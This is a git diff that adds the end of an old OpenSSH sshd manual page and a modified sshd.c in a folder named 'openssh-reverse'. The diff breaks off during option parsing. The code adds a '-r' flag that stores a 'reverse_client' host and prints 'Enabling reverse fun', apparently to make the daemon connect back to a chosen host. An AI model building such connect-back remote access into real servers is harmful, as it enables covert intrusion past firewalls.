allowed only for users whose primary +group matches one of the patterns. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only group names are valid, a numerical group ID isn't recognized. +By default login is allowed regardless of the primary group. +.Pp +.It Cm AllowUsers +This keyword can be followed by a number of user names, separated +by spaces. +If specified, login is allowed only for users names that +match one of the patterns. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only user names are valid, a numerical user ID isn't recognized. +By default login is allowed regardless of the user name. +.Pp +.It Cm Ciphers +Specifies the ciphers allowed for protocol version 2. +Multiple ciphers must be comma-separated. +The default is +.Dq 3des-cbc,blowfish-cbc,arcfour,cast128-cbc . +.It Cm CheckMail +Specifies whether +.Nm +should check for new mail for interactive logins. +The default is +.Dq no . +.It Cm DenyGroups +This keyword can be followed by a number of group names, separated +by spaces. +Users whose primary group matches one of the patterns +aren't allowed to log in. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only group names are valid, a numerical group ID isn't recognized. +By default login is allowed regardless of the primary group. +.Pp +.It Cm DenyUsers +This keyword can be followed by a number of user names, separated +by spaces. +Login is disallowed for user names that match one of the patterns. +.Ql \&* +and +.Ql ? +can be used as wildcards in the patterns. +Only user names are valid, a numerical user ID isn't recognized. +By default login is allowed regardless of the user name. +.It Cm DSAAuthentication +Specifies whether DSA authentication is allowed. +The default is +.Dq yes . +Note that this option applies to protocol version 2 only. +.It Cm GatewayPorts +Specifies whether remote hosts are allowed to connect to ports +forwarded for the client. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm HostDsaKey +Specifies the file containing the private DSA host key (default +.Pa /etc/ssh_host_dsa_key ) +used by SSH protocol 2.0. +Note that +.Nm +disables protocol 2.0 if this file is group/world-accessible. +.It Cm HostKey +Specifies the file containing the private RSA host key (default +.Pa /etc/ssh_host_key ) +used by SSH protocols 1.3 and 1.5. +Note that +.Nm +disables protocols 1.3 and 1.5 if this file is group/world-accessible. +.It Cm IgnoreRhosts +Specifies that +.Pa .rhosts +and +.Pa .shosts +files will not be used in authentication. +.Pa /etc/hosts.equiv +and +.Pa /etc/shosts.equiv +are still used. +The default is +.Dq yes . +.It Cm IgnoreUserKnownHosts +Specifies whether +.Nm +should ignore the user's +.Pa $HOME/.ssh/known_hosts +during +.Cm RhostsRSAAuthentication . +The default is +.Dq no . +.It Cm KeepAlive +Specifies whether the system should send keepalive messages to the +other side. +If they are sent, death of the connection or crash of one +of the machines will be properly noticed. +However, this means that +connections will die if the route is down temporarily, and some people +find it annoying. +On the other hand, if keepalives are not sent, +sessions may hang indefinitely on the server, leaving +.Dq ghost +users and consuming server resources. +.Pp +The default is +.Dq yes +(to send keepalives), and the server will notice +if the network goes down or the client host reboots. +This avoids infinitely hanging sessions. +.Pp +To disable keepalives, the value should be set to +.Dq no +in both the server and the client configuration files. +.It Cm KerberosAuthentication +Specifies whether Kerberos authentication is allowed. +This can be in the form of a Kerberos ticket, or if +.Cm PasswordAuthentication +is yes, the password provided by the user will be validated through +the Kerberos KDC. +Default is +.Dq yes . +.It Cm KerberosOrLocalPasswd +If set then if password authentication through Kerberos fails then +the password will be validated via any additional local mechanism +such as +.Pa /etc/passwd +or SecurID. +Default is +.Dq yes . +.It Cm KerberosTgtPassing +Specifies whether a Kerberos TGT may be forwarded to the server. +Default is +.Dq no , +as this only works when the Kerberos KDC is actually an AFS kaserver. +.It Cm KerberosTicketCleanup +Specifies whether to automatically destroy the user's ticket cache +file on logout. +Default is +.Dq yes . +.It Cm KeyRegenerationInterval +The server key is automatically regenerated after this many seconds +(if it has been used). +The purpose of regeneration is to prevent +decrypting captured sessions by later breaking into the machine and +stealing the keys. +The key is never stored anywhere. +If the value is 0, the key is never regenerated. +The default is 3600 (seconds). +.It Cm ListenAddress +Specifies what local address +.Nm +should listen on. +The default is to listen to all local addresses. +Multiple options of this type are permitted. +Additionally, the +.Cm Ports +options must precede this option. +.It Cm LoginGraceTime +The server disconnects after this time if the user has not +successfully logged in. +If the value is 0, there is no time limit. +The default is 600 (seconds). +.It Cm LogLevel +Gives the verbosity level that is used when logging messages from +.Nm sshd . +The possible values are: +QUIET, FATAL, ERROR, INFO, VERBOSE and DEBUG. +The default is INFO. +Logging with level DEBUG violates the privacy of users +and is not recommended. +.It Cm MaxStartups +Specifies the maximum number of concurrent unauthenticated connections to the +.Nm +daemon. +Additional connections will be dropped until authentication succeeds or the +.Cm LoginGraceTime +expires for a connection. +The default is 10. +.It Cm PasswordAuthentication +Specifies whether password authentication is allowed. +The default is +.Dq yes . +Note that this option applies to both protocol version 1 and 2. +.It Cm PermitEmptyPasswords +When password authentication is allowed, it specifies whether the +server allows login to accounts with empty password strings. +The default is +.Dq no . +.It Cm PermitRootLogin +Specifies whether the root can log in using +.Xr ssh 1 . +The argument must be +.Dq yes , +.Dq without-password +or +.Dq no . +The default is +.Dq yes . +If this options is set to +.Dq without-password +only password authentication is disabled for root. +.Pp +Root login with RSA authentication when the +.Ar command +option has been +specified will be allowed regardless of the value of this setting +(which may be useful for taking remote backups even if root login is +normally not allowed). +.It Cm PidFile +Specifies the file that contains the process identifier of the +.Nm +daemon. +The default is +.Pa /var/run/sshd.pid . +.It Cm Port +Specifies the port number that +.Nm +listens on. +The default is 22. +Multiple options of this type are permitted. +.It Cm PrintMotd +Specifies whether +.Nm +should print +.Pa /etc/motd +when a user logs in interactively. +(On some systems it is also printed by the shell, +.Pa /etc/profile , +or equivalent.) +The default is +.Dq yes . +.It Cm Protocol +Specifies the protocol versions +.Nm +should support. +The possible values are +.Dq 1 +and +.Dq 2 . +Multiple versions must be comma-separated. +The default is +.Dq 1 . +.It Cm RandomSeed +Obsolete. +Random number generation uses other techniques. +.It Cm RhostsAuthentication +Specifies whether authentication using rhosts or /etc/hosts.equiv +files is sufficient. +Normally, this method should not be permitted because it is insecure. +.Cm RhostsRSAAuthentication +should be used +instead, because it performs RSA-based host authentication in addition +to normal rhosts or /etc/hosts.equiv authentication. +The default is +.Dq no . +.It Cm RhostsRSAAuthentication +Specifies whether rhosts or /etc/hosts.equiv authentication together +with successful RSA host authentication is allowed. +The default is +.Dq no . +.It Cm RSAAuthentication +Specifies whether pure RSA authentication is allowed. +The default is +.Dq yes . +Note that this option applies to protocol version 1 only. +.It Cm ServerKeyBits +Defines the number of bits in the server key. +The minimum value is 512, and the default is 768. +.It Cm SkeyAuthentication +Specifies whether +.Xr skey 1 +authentication is allowed. +The default is +.Dq yes . +Note that s/key authentication is enabled only if +.Cm PasswordAuthentication +is allowed, too. +.It Cm StrictModes +Specifies whether +.Nm +should check file modes and ownership of the +user's files and home directory before accepting login. +This is normally desirable because novices sometimes accidentally leave their +directory or files world-writable. +The default is +.Dq yes . +.It Cm Subsystem +Configures an external subsystem (e.g. file transfer daemon). +Arguments should be a subsystem name and a command to execute upon subsystem request. +By default no subsystems are defined. +Note that this option applies to protocol version 2 only. +.It Cm SyslogFacility +Gives the facility code that is used when logging messages from +.Nm sshd . +The possible values are: DAEMON, USER, AUTH, LOCAL0, LOCAL1, LOCAL2, +LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. +The default is AUTH. +.It Cm UseLogin +Specifies whether +.Xr login 1 +is used for interactive login sessions. +Note that +.Xr login 1 +is not never for remote command execution. +The default is +.Dq no . +.It Cm X11DisplayOffset +Specifies the first display number available for +.Nm sshd Ns 's +X11 forwarding. +This prevents +.Nm +from interfering with real X11 servers. +The default is 10. +.It Cm X11Forwarding +Specifies whether X11 forwarding is permitted. +The default is +.Dq no . +Note that disabling X11 forwarding does not improve security in any +way, as users can always install their own forwarders. +.It Cm XAuthLocation +Specifies the location of the +.Xr xauth 1 +program. +The default is +.Pa /usr/X11R6/bin/xauth . +.El +.Sh LOGIN PROCESS +When a user successfully logs in, +.Nm +does the following: +.Bl -enum -offset indent +.It +If the login is on a tty, and no command has been specified, +prints last login time and +.Pa /etc/motd +(unless prevented in the configuration file or by +.Pa $HOME/.hushlogin ; +see the +.Sx FILES +section). +.It +If the login is on a tty, records login time. +.It +Checks +.Pa /etc/nologin ; +if it exists, prints contents and quits +(unless root). +.It +Changes to run with normal user privileges. +.It +Sets up basic environment. +.It +Reads +.Pa $HOME/.ssh/environment +if it exists. +.It +Changes to user's home directory. +.It +If +.Pa $HOME/.ssh/rc +exists, runs it; else if +.Pa /etc/sshrc +exists, runs +it; otherwise runs xauth. +The +.Dq rc +files are given the X11 +authentication protocol and cookie in standard input. +.It +Runs user's shell or command. +.El +.Sh AUTHORIZED_KEYS FILE FORMAT +The +.Pa $HOME/.ssh/authorized_keys +file lists the RSA keys that are +permitted for RSA authentication in SSH protocols 1.3 and 1.5 +Similarly, the +.Pa $HOME/.ssh/authorized_keys2 +file lists the DSA keys that are +permitted for DSA authentication in SSH protocol 2.0. +Each line of the file contains one +key (empty lines and lines starting with a +.Ql # +are ignored as +comments). +Each line consists of the following fields, separated by +spaces: options, bits, exponent, modulus, comment. +The options field +is optional; its presence is determined by whether the line starts +with a number or not (the option field never starts with a number). +The bits, exponent, modulus and comment fields give the RSA key; the +comment field is not used for anything (but may be convenient for the +user to identify the key). +.Pp +Note that lines in this file are usually several hundred bytes long +(because of the size of the RSA key modulus). +You don't want to type them in; instead, copy the +.Pa identity.pub +file and edit it. +.Pp +The options (if present) consists of comma-separated option +specifications. +No spaces are permitted, except within double quotes. +The following option specifications are supported: +.Bl -tag -width Ds +.It Cm from="pattern-list" +Specifies that in addition to RSA authentication, the canonical name +of the remote host must be present in the comma-separated list of +patterns +.Pf ( Ql * +and +.Ql ? +serve as wildcards). +The list may also contain +patterns negated by prefixing them with +.Ql ! ; +if the canonical host name matches a negated pattern, the key is not accepted. +The purpose +of this option is to optionally increase security: RSA authentication +by itself does not trust the network or name servers or anything (but +the key); however, if somebody somehow steals the key, the key +permits an intruder to log in from anywhere in the world. +This additional option makes using a stolen key more difficult (name +servers and/or routers would have to be compromised in addition to +just the key). +.It Cm command="command" +Specifies that the command is executed whenever this key is used for +authentication. +The command supplied by the user (if any) is ignored. +The command is run on a pty if the connection requests a pty; +otherwise it is run without a tty. +A quote may be included in the command by quoting it with a backslash. +This option might be useful +to restrict certain RSA keys to perform just a specific operation. +An example might be a key that permits remote backups but nothing else. +Note that the client may specify TCP/IP and/or X11 +forwarding unless they are explicitly prohibited. +.It Cm environment="NAME=value" +Specifies that the string is to be added to the environment when +logging in using this key. +Environment variables set this way +override other default environment values. +Multiple options of this type are permitted. +.It Cm no-port-forwarding +Forbids TCP/IP forwarding when this key is used for authentication. +Any port forward requests by the client will return an error. +This might be used, e.g., in connection with the +.Cm command +option. +.It Cm no-X11-forwarding +Forbids X11 forwarding when this key is used for authentication. +Any X11 forward requests by the client will return an error. +.It Cm no-agent-forwarding +Forbids authentication agent forwarding when this key is used for +authentication. +.It Cm no-pty +Prevents tty allocation (a request to allocate a pty will fail). +.El +.Ss Examples +1024 33 12121.\|.\|.\|312314325 ylo@foo.bar +.Pp +from="*.niksula.hut.fi,!pc.niksula.hut.fi" 1024 35 23.\|.\|.\|2334 ylo@niksula +.Pp +command="dump /home",no-pty,no-port-forwarding 1024 33 23.\|.\|.\|2323 backup.hut.fi +.Sh SSH_KNOWN_HOSTS FILE FORMAT +The +.Pa /etc/ssh_known_hosts , +.Pa /etc/ssh_known_hosts2 , +.Pa $HOME/.ssh/known_hosts , +and +.Pa $HOME/.ssh/known_hosts2 +files contain host public keys for all known hosts. +The global file should +be prepared by the administrator (optional), and the per-user file is +maintained automatically: whenever the user connects an unknown host +its key is added to the per-user file. +.Pp +Each line in these files contains the following fields: hostnames, +bits, exponent, modulus, comment. +The fields are separated by spaces. +.Pp +Hostnames is a comma-separated list of patterns ('*' and '?' act as +wildcards); each pattern in turn is matched against the canonical host +name (when authenticating a client) or against the user-supplied +name (when authenticating a server). +A pattern may also be preceded by +.Ql ! +to indicate negation: if the host name matches a negated +pattern, it is not accepted (by that line) even if it matched another +pattern on the line. +.Pp +Bits, exponent, and modulus are taken directly from the RSA host key; they +can be obtained, e.g., from +.Pa /etc/ssh_host_key.pub . +The optional comment field continues to the end of the line, and is not used. +.Pp +Lines starting with +.Ql # +and empty lines are ignored as comments. +.Pp +When performing host authentication, authentication is accepted if any +matching line has the proper key. +It is thus permissible (but not +recommended) to have several lines or different host keys for the same +names. +This will inevitably happen when short forms of host names +from different domains are put in the file. +It is possible +that the files contain conflicting information; authentication is +accepted if valid information can be found from either file. +.Pp +Note that the lines in these files are typically hundreds of characters +long, and you definitely don't want to type in the host keys by hand. +Rather, generate them by a script +or by taking +.Pa /etc/ssh_host_key.pub +and adding the host names at the front. +.Ss Examples +closenet,closenet.hut.fi,.\|.\|.\|,130.233.208.41 1024 37 159.\|.\|.93 closenet.hut.fi +.Sh FILES +.Bl -tag -width Ds +.It Pa /etc/sshd_config +Contains configuration data for +.Nm sshd . +This file should be writable by root only, but it is recommended +(though not necessary) that it be world-readable. +.It Pa /etc/ssh_host_key +Contains the private part of the host key. +This file should only be owned by root, readable only by root, and not +accessible to others. +Note that +.Nm +does not start if this file is group/world-accessible. +.It Pa /etc/ssh_host_key.pub +Contains the public part of the host key. +This file should be world-readable but writable only by +root. +Its contents should match the private part. +This file is not +really used for anything; it is only provided for the convenience of +the user so its contents can be copied to known hosts files. +These two files are created using +.Xr ssh-keygen 1 . +.It Pa /var/run/sshd.pid +Contains the process ID of the +.Nm +listening for connections (if there are several daemons running +concurrently for different ports, this contains the pid of the one +started last). +The contents of this file are not sensitive; it can be world-readable. +.It Pa $HOME/.ssh/authorized_keys +Lists the RSA keys that can be used to log into the user's account. +This file must be readable by root (which may on some machines imply +it being world-readable if the user's home directory resides on an NFS +volume). +It is recommended that it not be accessible by others. +The format of this file is described above. +Users will place the contents of their +.Pa identity.pub +files into this file, as described in +.Xr ssh-keygen 1 . +.It Pa $HOME/.ssh/authorized_keys2 +Lists the DSA keys that can be used to log into the user's account. +This file must be readable by root (which may on some machines imply +it being world-readable if the user's home directory resides on an NFS +volume). +It is recommended that it not be accessible by others. +The format of this file is described above. +Users will place the contents of their +.Pa id_dsa.pub +files into this file, as described in +.Xr ssh-keygen 1 . +.It Pa "/etc/ssh_known_hosts" and "$HOME/.ssh/known_hosts" +These files are consulted when using rhosts with RSA host +authentication to check the public key of the host. +The key must be listed in one of these files to be accepted. +The client uses the same files +to verify that the remote host is the one we intended to connect. +These files should be writable only by root/the owner. +.Pa /etc/ssh_known_hosts +should be world-readable, and +.Pa $HOME/.ssh/known_hosts +can but need not be world-readable. +.It Pa /etc/nologin +If this file exists, +.Nm +refuses to let anyone except root log in. +The contents of the file +are displayed to anyone trying to log in, and non-root connections are +refused. +The file should be world-readable. +.It Pa /etc/hosts.allow, /etc/hosts.deny +If compiled with +.Sy LIBWRAP +support, tcp-wrappers access controls may be defined here as described in +.Xr hosts_access 5 . +.It Pa $HOME/.rhosts +This file contains host-username pairs, separated by a space, one per +line. +The given user on the corresponding host is permitted to log in +without password. +The same file is used by rlogind and rshd. +The file must +be writable only by the user; it is recommended that it not be +accessible by others. +.Pp +If is also possible to use netgroups in the file. +Either host or user +name may be of the form +@groupname to specify all hosts or all users +in the group. +.It Pa $HOME/.shosts +For ssh, +this file is exactly the same as for +.Pa .rhosts . +However, this file is +not used by rlogin and rshd, so using this permits access using SSH only. +.Pa /etc/hosts.equiv +This file is used during +.Pa .rhosts +authentication. +In the simplest form, this file contains host names, one per line. +Users on +those hosts are permitted to log in without a password, provided they +have the same user name on both machines. +The host name may also be +followed by a user name; such users are permitted to log in as +.Em any +user on this machine (except root). +Additionally, the syntax +.Dq +@group +can be used to specify netgroups. +Negated entries start with +.Ql \&- . +.Pp +If the client host/user is successfully matched in this file, login is +automatically permitted provided the client and server user names are the +same. +Additionally, successful RSA host authentication is normally required. +This file must be writable only by root; it is recommended +that it be world-readable. +.Pp +.Sy "Warning: It is almost never a good idea to use user names in" +.Pa hosts.equiv . +Beware that it really means that the named user(s) can log in as +.Em anybody , +which includes bin, daemon, adm, and other accounts that own critical +binaries and directories. +Using a user name practically grants the user root access. +The only valid use for user names that I can think +of is in negative entries. +.Pp +Note that this warning also applies to rsh/rlogin. +.It Pa /etc/shosts.equiv +This is processed exactly as +.Pa /etc/hosts.equiv . +However, this file may be useful in environments that want to run both +rsh/rlogin and ssh. +.It Pa $HOME/.ssh/environment +This file is read into the environment at login (if it exists). +It can only contain empty lines, comment lines (that start with +.Ql # ) , +and assignment lines of the form name=value. +The file should be writable +only by the user; it need not be readable by anyone else. +.It Pa $HOME/.ssh/rc +If this file exists, it is run with /bin/sh after reading the +environment files but before starting the user's shell or command. +If X11 spoofing is in use, this will receive the "proto cookie" pair in +standard input (and +.Ev DISPLAY +in environment). +This must call +.Xr xauth 1 +in that case. +.Pp +The primary purpose of this file is to run any initialization routines +which may be needed before the user's home directory becomes +accessible; AFS is a particular example of such an environment. +.Pp +This file will probably contain some initialization code followed by +something similar to: "if read proto cookie; then echo add $DISPLAY +$proto $cookie | xauth -q -; fi". +.Pp +If this file does not exist, +.Pa /etc/sshrc +is run, and if that +does not exist either, xauth is used to store the cookie. +.Pp +This file should be writable only by the user, and need not be +readable by anyone else. +.It Pa /etc/sshrc +Like +.Pa $HOME/.ssh/rc . +This can be used to specify +machine-specific login-time initializations globally. +This file should be writable only by root, and should be world-readable. +.El +.Sh AUTHOR +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release by Tatu Ylonen, +but with bugs removed and newer features re-added. +Rapidly after the +1.2.12 release, newer versions of the original ssh bore successively +more restrictive licenses, and thus demand for a free version was born. +.Pp +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support SSH protocol 1.5 and 2, making it compatible with +all other SSH clients and servers. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Pp +OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, +Niels Provos, Theo de Raadt, and Dug Song. +.Pp +The support for SSH protocol 2 was written by Markus Friedl. +.Sh SEE ALSO +.Xr scp 1 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr rlogin 1 , +.Xr rsh 1 diff --git a/other/openssh-reverse/sshd.c b/other/openssh-reverse/sshd.c new file mode 100644 index 0000000..f74a9e3 --- /dev/null +++ b/other/openssh-reverse/sshd.c @@ -0,0 +1,1431 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Fri Mar 17 17:09:28 1995 ylo + * This program is the ssh daemon. It listens for connections from clients, and + * performs authentication, executes use commands or shell, and forwards + * information to/from the application to the user client over an encrypted + * connection. This can also handle forwarding of X11, TCP/IP, and authentication + * agent connections. + * + * SSH2 implementation, + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshd.c,v 1.122 2000/07/11 08:11:34 deraadt Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "uidswap.h" +#include "compat.h" +#include "buffer.h" + +#include "ssh2.h" +#include +#include +#include +#include "kex.h" +#include +#include + +#include "key.h" +#include "dsa.h" + +#include "auth.h" +#include "myproposal.h" +#include "authfile.h" + +#ifdef LIBWRAP +#include +#include +int allow_severity = LOG_INFO; +int deny_severity = LOG_WARNING; +#endif /* LIBWRAP */ + +#ifndef O_NOCTTY +#define O_NOCTTY 0 +#endif + +/* Server configuration options. */ +ServerOptions options; + +/* Name of the server configuration file. */ +char *config_file_name = SERVER_CONFIG_FILE; + +/* + * Flag indicating whether IPv4 or IPv6. This can be set on the command line. + * Default value is AF_UNSPEC means both IPv4 and IPv6. + */ +#ifdef IPV4_DEFAULT +int IPv4or6 = AF_INET; +#else +int IPv4or6 = AF_UNSPEC; +#endif + +/* + * Debug mode flag. This can be set on the command line. If debug + * mode is enabled, extra debugging output will be sent to the system + * log, the daemon will not go to background, and will exit after processing + * the first connection. + */ +int debug_flag = 0; + +/* Flag indicating that the daemon is being started from inetd. */ +int inetd_flag = 0; + +/* debug goes to stderr unless inetd_flag is set */ +int log_stderr = 0; + +/* argv[0] without path. */ +char *av0; + +/* Saved arguments to main(). */ +char **saved_argv; +int saved_argc; + +/* + * The sockets that the server is listening; this is used in the SIGHUP + * signal handler. + */ +#define MAX_LISTEN_SOCKS 16 +int listen_socks[MAX_LISTEN_SOCKS]; +int num_listen_socks = 0; + +/* + * the client's version string, passed by sshd2 in compat mode. if != NULL, + * sshd will skip the version-number exchange + */ +char *client_version_string = NULL; +char *server_version_string = NULL; + +/* + * Any really sensitive data in the application is contained in this + * structure. The idea is that this structure could be locked into memory so + * that the pages do not get written into swap. However, there are some + * problems. The private key contains BIGNUMs, and we do not (in principle) + * have access to the internals of them, and locking just the structure is + * not very useful. Currently, memory locking is not implemented. + */ +struct { + RSA *private_key; /* Private part of empheral server key. */ + RSA *host_key; /* Private part of host key. */ + Key *dsa_host_key; /* Private DSA host key. */ +} sensitive_data; + +/* + * Flag indicating whether the current session key has been used. This flag + * is set whenever the key is used, and cleared when the key is regenerated. + */ +int key_used = 0; + +/* This is set to true when SIGHUP is received. */ +int received_sighup = 0; + +/* Public side of the server key. This value is regenerated regularly with + the private key. */ +RSA *public_key; + +/* session identifier, used by RSA-auth */ +unsigned char session_id[16]; + +/* same for ssh2 */ +unsigned char *session_id2 = NULL; +int session_id2_len = 0; + +/* Prototypes for various functions defined later in this file. */ +void do_ssh1_kex(); +void do_ssh2_kex(); + +/* + * Close all listening sockets + */ +void +close_listen_socks(void) +{ + int i; + for (i = 0; i < num_listen_socks; i++) + close(listen_socks[i]); + num_listen_socks = -1; +} + +/* + * Signal handler for SIGHUP. Sshd execs itself when it receives SIGHUP; + * the effect is to reread the configuration file (and to regenerate + * the server key). + */ +void +sighup_handler(int sig) +{ + received_sighup = 1; + signal(SIGHUP, sighup_handler); +} + +/* + * Called from the main program after receiving SIGHUP. + * Restarts the server. + */ +void +sighup_restart() +{ + log("Received SIGHUP; restarting."); + close_listen_socks(); + execv(saved_argv[0], saved_argv); + log("RESTART FAILED: av0='%s', error: %s.", av0, strerror(errno)); + exit(1); +} + +/* + * Generic signal handler for terminating signals in the master daemon. + * These close the listen socket; not closing it seems to cause "Address + * already in use" problems on some machines, which is inconvenient. + */ +void +sigterm_handler(int sig) +{ + log("Received signal %d; terminating.", sig); + close_listen_socks(); + unlink(options.pid_file); + exit(255); +} + +/* + * SIGCHLD handler. This is called whenever a child dies. This will then + * reap any zombies left by exited c. + */ +void +main_sigchld_handler(int sig) +{ + int save_errno = errno; + int status; + + while (waitpid(-1, &status, WNOHANG) > 0) + ; + + signal(SIGCHLD, main_sigchld_handler); + errno = save_errno; +} + +/* + * Signal handler for the alarm after the login grace period has expired. + */ +void +grace_alarm_handler(int sig) +{ + /* Close the connection. */ + packet_close(); + + /* Log error and exit. */ + fatal("Timeout before authentication for %s.", get_remote_ipaddr()); +} + +/* + * Signal handler for the key regeneration alarm. Note that this + * alarm only occurs in the daemon waiting for connections, and it does not + * do anything with the private key or random state before forking. + * Thus there should be no concurrency control/asynchronous execution + * problems. + */ +/* XXX do we really want this work to be done in a signal handler ? -m */ +void +key_regeneration_alarm(int sig) +{ + int save_errno = errno; + + /* Check if we should generate a new key. */ + if (key_used) { + /* This should really be done in the background. */ + log("Generating new %d bit RSA key.", options.server_key_bits); + + if (sensitive_data.private_key != NULL) + RSA_free(sensitive_data.private_key); + sensitive_data.private_key = RSA_new(); + + if (public_key != NULL) + RSA_free(public_key); + public_key = RSA_new(); + + rsa_generate_key(sensitive_data.private_key, public_key, + options.server_key_bits); + arc4random_stir(); + key_used = 0; + log("RSA key generation complete."); + } + /* Reschedule the alarm. */ + signal(SIGALRM, key_regeneration_alarm); + alarm(options.key_regeneration_time); + errno = save_errno; +} + +void +sshd_exchange_identification(int sock_in, int sock_out) +{ + int i, mismatch; + int remote_major, remote_minor; + int major, minor; + char *s; + char buf[256]; /* Must not be larger than remote_version. */ + char remote_version[256]; /* Must be at least as big as buf. */ + + if ((options.protocol & SSH_PROTO_1) && + (options.protocol & SSH_PROTO_2)) { + major = PROTOCOL_MAJOR_1; + minor = 99; + } else if (options.protocol & SSH_PROTO_2) { + major = PROTOCOL_MAJOR_2; + minor = PROTOCOL_MINOR_2; + } else { + major = PROTOCOL_MAJOR_1; + minor = PROTOCOL_MINOR_1; + } + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", major, minor, SSH_VERSION); + server_version_string = xstrdup(buf); + + if (client_version_string == NULL) { + /* Send our protocol version identification. */ + if (atomicio(write, sock_out, server_version_string, strlen(server_version_string)) + != strlen(server_version_string)) { + log("Could not write ident string to %s.", get_remote_ipaddr()); + fatal_cleanup(); + } + + /* Read other side\'s version identification. */ + for (i = 0; i < sizeof(buf) - 1; i++) { + if (atomicio(read, sock_in, &buf[i], 1) != 1) { + log("Did not receive ident string from %s.", get_remote_ipaddr()); + fatal_cleanup(); + } + if (buf[i] == '\r') { + buf[i] = '\n'; + buf[i + 1] = 0; + continue; + } + if (buf[i] == '\n') { + /* buf[i] == '\n' */ + buf[i + 1] = 0; + break; + } + } + buf[sizeof(buf) - 1] = 0; + client_version_string = xstrdup(buf); + } + + /* + * Check that the versions match. In future this might accept + * several versions and set appropriate flags to handle them. + */ + if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n", + &remote_major, &remote_minor, remote_version) != 3) { + s = "Protocol mismatch.\n"; + (void) atomicio(write, sock_out, s, strlen(s)); + close(sock_in); + close(sock_out); + log("Bad protocol version identification '%.100s' from %s", + client_version_string, get_remote_ipaddr()); + fatal_cleanup(); + } + debug("Client protocol version %d.%d; client software version %.100s", + remote_major, remote_minor, remote_version); + + compat_datafellows(remote_version); + + mismatch = 0; + switch(remote_major) { + case 1: + if (remote_minor == 99) { + if (options.protocol & SSH_PROTO_2) + enable_compat20(); + else + mismatch = 1; + break; + } + if (!(options.protocol & SSH_PROTO_1)) { + mismatch = 1; + break; + } + if (remote_minor < 3) { + packet_disconnect("Your ssh version is too old and " + "is no longer supported. Please install a newer version."); + } else if (remote_minor == 3) { + /* note that this disables agent-forwarding */ + enable_compat13(); + } + break; + case 2: + if (options.protocol & SSH_PROTO_2) { + enable_compat20(); + break; + } + /* FALLTHROUGH */ + default: + mismatch = 1; + break; + } + chop(server_version_string); + chop(client_version_string); + debug("Local version string %.200s", server_version_string); + + if (mismatch) { + s = "Protocol major versions differ.\n"; + (void) atomicio(write, sock_out, s, strlen(s)); + close(sock_in); + close(sock_out); + log("Protocol major versions differ for %s: %.200s vs. %.200s", + get_remote_ipaddr(), + server_version_string, client_version_string); + fatal_cleanup(); + } + if (compat20) + packet_set_ssh2_format(); +} + + +void +destroy_sensitive_data(void) +{ + /* Destroy the private and public keys. They will no longer be needed. */ + if (public_key) + RSA_free(public_key); + if (sensitive_data.private_key) + RSA_free(sensitive_data.private_key); + if (sensitive_data.host_key) + RSA_free(sensitive_data.host_key); + if (sensitive_data.dsa_host_key != NULL) + key_free(sensitive_data.dsa_host_key); +} + +int *startup_pipes = NULL; /* options.max_startup sized array of fd ints */ +int startup_pipe; /* in child */ + +/* + * Main program for the daemon. + */ +int +main(int ac, char **av) +{ + extern char *optarg; + extern int optind; + int opt, sock_in = 0, sock_out = 0, newsock, j, i, fdsetsz, on = 1; + pid_t pid; + socklen_t fromlen; + int silent = 0; + fd_set *fdset; + struct sockaddr_storage from; + const char *remote_ip; + int remote_port; + FILE *f; + struct linger linger; + struct addrinfo *ai; + char ntop[NI_MAXHOST], strport[NI_MAXSERV]; + int listen_sock, maxfd; + int startup_p[2]; + int startups = 0, reverse_fun = 0; + char reverse_client[1024]; + + init_rng(); + + /* Save argv[0]. */ + saved_argc = ac; + saved_argv = av; + if (strchr(av[0], '/')) + av0 = strrchr(av[0], '/') + 1; + else + av0 = av[0]; + + /* Initialize configuration options to their default values. */ + initialize_server_options(&options); + + /* Parse command-line arguments. */ + while ((opt = getopt(ac, av, "r:f:p:b:k:h:g:V:diqQ46")) != EOF) { + switch (opt) { + case '4': + IPv4or6 = AF_INET; + break; + case '6': + IPv4or6 = AF_INET6; + break; + case 'f': + config_file_name = optarg; + break; + case 'd': + debug_flag = 1; + options.log_level = SYSLOG_LEVEL_DEBUG; + break; + case 'i': + inetd_flag = 1; + break; + case 'Q': + silent = 1; + break; + case 'q': + options.log_level = SYSLOG_LEVEL_QUIET; + break; + case 'b': + options.server_key_bits = atoi(optarg); + break; + case 'p': + options.ports_from_cmdline = 1; + if (options.num_ports >= MAX_PORTS) + fatal("too many ports.\n"); + options.ports[options.num_ports++] = atoi(optarg); + break; + case 'g': + options.login_grace_time = atoi(optarg); + break; + case 'k': + options.key_regeneration_time = atoi(optarg); + break; + case 'h': + options.host_key_file = optarg; + break; + case 'V': + client_version_string = optarg; + /* only makes sense with inetd_flag, i.e. no listen() */ + inetd_flag = 1; + break; + case 'r': + reverse_fun = 1; + strncpy(reverse_client, optarg, sizeof(reverse_client)); + printf("Enabling reverse fun.\n"); + break; + case '?': + default: + fprintf(stderr, "sshd version %s\n", SSH_VERSION); + fprintf(stderr, "Usage: %s [options]\n", av0); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -f file Configuration file (default %s)\n", SERVER_CONFIG_FILE); + fprintf(stderr, " -d Debugging mode\n"); + fprintf(stderr, " -i Started from inetd\n"); + fprintf(stderr, " -q Quiet (no logging)\n"); + fprintf(stderr, " -p port Listen on the specified port (default: 22)\n"); + 